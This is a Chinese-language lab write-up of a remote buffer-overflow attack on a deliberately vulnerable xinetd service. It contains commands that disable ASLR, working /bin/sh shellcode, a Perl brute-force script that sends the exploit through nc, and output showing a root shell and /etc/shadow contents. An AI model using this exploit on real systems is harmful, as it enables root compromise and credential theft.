远程缓冲器溢出攻击
实验平台:Fedora Core 4 (做实验的必备利器平台,很好很强大,也可以用来学习鸟哥的linux私房菜,现在网上都不好找了)
http://archives.fedoraproject.org/pub/archive/fedora/linux/core/4/i386/iso/ 这是官方的,相当给力,在网上还没有消失
前提:去掉操作系统的堆栈执行保护和内存随机化机制
sysctl -w kernel.randomize_va_space=0
sysctl -w kernel.exec-shield=0
在ubuntu8.04平台上可以只用第一条即可,但是redhat9.0的保护机制真的很神秘,我说什么也没找到如何去掉内存随机化机制
目标漏洞代码:
//vuln.c在root目录下
/*远程漏洞*/ /*加载到xinetd中,或其他类似环境中*/ #include<stdio.h> #include<string.h> #include<ctype.h> int doit(char *str) { char bufz[400]; printf("doing stuffz...\n"); strcpy(bufz,str); return(0); } int main(int argc,char *argv[]) { char buf[4096]; gets(buf); doit(buf); //doit(argv[1]); printf("DONE STUFFZ..[%s]\n",buf); return(0); }
编译漏洞程序代码:
gcc -o vuln vuln.c -ggdb
编辑如下文件/etc/services,在最后面添加
vuln 555/tcp
#added to test remote exploit
这两行代码即可
接下来,在/etc/xinetd.d目录中创建以下脚本:
#default:on #description:The vuln server is to test remote exploits,do NOT leave #in place!!! It is vulnerable.!! service vuln { flags = REUSE socket_type = stream wait = no user = root server = /root/vuln #log_on_failure+ = USERID }
最后,重启xinetd进程:
[root@Lynx ~]# /etc/init.d/xinetd restart
停止 xinetd: [ 确定 ]
启动 xinetd: [ 确定 ]
检查一下漏洞服务是否正常开启:
[root@Lynx ~]# netstat -an | grep 555
tcp 0 0 0.0.0.0:555 0.0.0.0:* LISTEN
说明服务开启成功了。
上面完成了搭建漏洞目标,下面开始考虑攻击。
思路是要确定远程机器的esp值,可以在同一平台上编译一个程序,并调试器跟踪,这种方法只是为了估计一下esp值,然后可以用perl脚本暴力猜解。
#! /usr/bin/perl $MIN=0; $MAX=5000; while($MIN<$MAX){ printf("offset:$MIN Hold down the enter key til program stops...\n"); system("(./exploit 600 $MIN 0xbffff848;cat) | nc 192.168.0.100 555");$MIN++; }
其中用的exploit代码如下:
//exploit.c #include<stdio.h> char shellcode[]= //setuid(0) "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void){ __asm__("movl %esp,%eax"); } int main(int argc,char *argv[1]){ int i,offset=0; long esp,ret,*addr_ptr; char *buffer,*ptr; int size=500; esp=get_sp(); if(argc>1) size=atoi(argv[1]);//atoi将字符串转换成整型数字 if(argc>2) offset=atoi(argv[2]); if(argc>3) esp=strtoul(argv[3],NULL,0);//将参数转换为无符号长整数型 ret=esp-offset; fprintf(stderr,"Usage:%s<buff_size><offset><esp:0xfff...>\n",argv[0]); fprintf(stderr,"ESP:0x%x Offset:0x%x Return:0x%x\n",esp,offset,ret); buffer=(char *)malloc(size); ptr=buffer; addr_ptr=(long *)ptr; for(i=0;i<size;i+=4){ //把buffer都填充上ret地址 *(addr_ptr++)=ret; } for(i=0;i<size/2;i++){ //把buffer前半部都填上NOP buffer[i]='\x90';} ptr=buffer+size/2; //从buffer中间开始填充shellcode代码 这几步实现exploit的攻击三明治 for(i=0;i<strlen(shellcode);i++){ *(ptr++)=shellcode[i]; } buffer[size-1]=0; //不要忘了buffer最后用0结尾,否则程序会找不到结尾的 //execl("./vuln","vuln",buffer,0); printf("%s",buffer); //一定要有,以用来被shell的cat捕获 free(buffer); return 0; }
猜解过程:
[root@Lynx ~]# perl brute.pl offset:0 Hold down the enter key til program stops... Usage:./exploit<buff_size><offset><esp:0xfff...> ESP:0xbffff848 Offset:0x0 Return:0xbffff848 。 。省略n多回车过程 。 。 offset:3725 Hold down the enter key til program stops... Usage:./exploit<buff_size><offset><esp:0xfff...> ESP:0xbffff848 Offset:0xe8d Return:0xbfffe9bb offset:3726 Hold down the enter key til program stops... Usage:./exploit<buff_size><offset><esp:0xfff...> ESP:0xbffff848 Offset:0xe8e Return:0xbfffe9ba id; //这个当然是自己输入的了 uid=0(root) gid=0(root) head -5 /etc/shadow root:$1$sGyrznBw$Tz5gxCNe/mPijTIbbWzyM0:15692:0:99999:7::: bin:*:15692:0:99999:7::: daemon:*:15692:0:99999:7::: adm:*:15692:0:99999:7::: lp:*:15692:0:99999:7:::
以后就可以直接用
#./exploit 600 0xe8e 0xbffff848;cat) | nc 192.168.0.100 555
直接进行攻击了。
实验总结:实验并不顺利,开始找不到合适esp的值,很迷茫,有是服务程序,用gdb不会调试。冷静下来,要一部分一部分确定没问题,首先服务程序代码能顺利启动,没有问题,而且以前有本地溢出的基础,可以看出确实存在溢出漏洞,所以目标代码没有问题。
接下来还剩下perl暴力猜解过程和exploit。先来确定exploit有没有问题,可以用溢出本地程序来测试,先用一个参数的,例如用./exploit 600,如果得到:
[root@Lynx ~]# ./exploit 600
Usage:./exploit<buff_size><offset><esp:0xfff...>
ESP:0xbffff848 Offset:0x0 Return:0xbffff848
sh-3.00#
这个结果说明能溢出成功,那么就测试用三个参数./exploit 600 0 0xbffff848 ,也能返回shell
[root@Lynx ~]# ./exploit 600 1 0xbffff849
Usage:./exploit<buff_size><offset><esp:0xfff...>
ESP:0xbffff849 Offset:0x1 Return:0xbffff848
sh-3.00#
说明exploit不存在问题。
接下来排除perl暴力猜解脚本,其实只要明白其中的暴力猜解原理,就很容易理解啦,核心是
system("(./exploit 600 $MIN 0xbffff848;cat) | nc 192.168.0.100 555");$MIN++;
在shell里面执行./exploit 600 $MIN 0xbffff848,然后用cat捕获,再通过管道输出到nc作为nc的输入,nc把数据提交到服务器,被服务器执行。当所有都没有问题了,那就一直按着回车等吧,关键初始的esp要选的合适,perl脚本里的MAX也要足够大,才有可能猜到合适的esp值,不然会猜解不到的。
另:感觉在linux建立服务程序真的很轻松啊,linux强大至极,nc是相当牛叉的数据提交工具。